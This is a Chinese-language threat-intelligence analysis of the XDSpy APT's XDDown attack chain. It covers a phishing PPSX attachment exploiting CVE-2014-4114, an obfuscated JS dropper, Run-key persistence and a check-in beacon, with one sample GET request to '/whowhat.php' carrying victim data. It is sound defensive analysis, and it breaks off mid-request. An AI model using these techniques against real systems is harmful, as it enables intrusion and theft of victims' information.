隐身9年的俄罗斯APT组织XDSpy及其XDDown攻击链分析
样本分析
投递手法 - 钓鱼邮件+恶意附件压缩包
通过钓鱼邮件投递针对俄罗斯人的邮件,以失物认领为主题的武器化PPSX格式的附件,诱骗收件人下载打开,打开后会执行JS脚本“MicrosoftPowerPoint.js”,释放并执行PE文件:
执行流程
样本详细分析
钓鱼邮件恶意附件PPSX
由于PPSX格式的攻击载荷比较少见,此处简单介绍一下该格式与PPTX格式的区别:
PPTX:普通可编辑模式。打开后呈现的页面就是可编辑的页面,要播放需要单击播放按钮才能全屏播放。
PPSX:放映格式。打开后直接就是全屏放映,没法编辑。
即:PPTX全屏放映的时候就是PPSX的样子,但是PPSX是没法直接编辑的,打开就是全屏放映,放映结束后直接退出。
通过修改PPSX文件的后缀名为“PPT”进入查看格式,可以清楚的看到,在第一张幻灯片出有一“动画”效果的设置,并有一对象被缩小到极致,放在首页全黑的幻灯片外:
放大后发现这是一个名为“MicrosoftPowerPoint.js”的“Packager Shell Object对象”:
该执行方式,搜索后发现是Windows OLE 远程执行代码漏洞CVE-2014-4114:
通过文件路径“C:\Users\As\AppData\Local\Temp\MicrosoftPowerPoint.js”可以发现计算机使用者的用户名是“As”:
自动播放的恶意对象MicrosoftPowerPoint.js
该脚本文件是一个经过混淆的Dropper脚本:
将其还原之后主要功能如下:
1.Base64编码处理后的PE文件数据,其中部分字母被转换为10进制
2.拼凑出工作目录字符串“%APPDATA%\WINinit”,检测是否存在该路径,不存在则创建该目录
3.拼凑出文件字符串“%APPDATA%\WINinit\orsnet”和“%APPDATA%\WINinit\WINlogon.exe”,并检测是否存在。如果不存在:将PE文件的数据保存到“%APPDATA%\WINinit\orsnet”,后移动到“%APPDATA%\WINinit\WINlogon.exe”
4.“%APPDATA%\WINinit\WINlogon.exe”将写入注册表“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Wininit”
5.运行“WINlogon.exe”
脚本对象释放的恶意可执行文件WINlogon.exe
创建互斥体“winsysmcc”,保持运行的唯一性。接着获取计算机名和用户名进行拼接,为了规避检测,将该字符串进行简单的恺撒加密处理(将(B-Y,b-y,1-8)都后移一位,如C→D),写入到文件“%AppData%\Explorer\idf.dat”中:
同样的,为了反静态编译,该程序使用的大多字符串经过恺撒加密。
然后会以读取模式尝试打开文件“%AppData%\Explorer\slp.dat”,由于本程序中无对该文件的写入模式打开的代码,以及其中数据的使用代码,和文件名,故推测为其他组件写入的控制休眠时间的配置文件(slp = Sleep):
再接着以读取模式尝试打开文件“%AppData%\Explorer\adrun.dat”,依旧推测为其他组件写入的配置文件,用来存放需要自动运行的程序路径。其中数据存放的结构为两位的字段+“ShellExecuteW需要运行的文件名”(adrun = AddRun,路径依旧为工作目录“%AppData%\Explorer\”):
执行完这些本地文件的操作后,调用“CreateThread”执行线程,线程主要功能以网络通信为主。
负责网络通信的线程
运行解密出数据段中的字符串后拼凑出HTTP报文:
向远程服务器的“/whowhat.php”接口,发送上线包,传递受感染计算机的信息。构建的GET方法的报文内容如下,“me”字段的信息为计算机标识,结构为[凯撒加密后的ComputerName]_[凯撒加密后的UserName][Tick_Count]V7,其中的V7结合以往历史样本分析,推测为程序的内部版本标识,下文的溯源部分再详细展开:
GET /whowhat.php?me=DPNQVUFSOBNF_1375866V7 HTTP/1.1
Accept-Language: ru
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11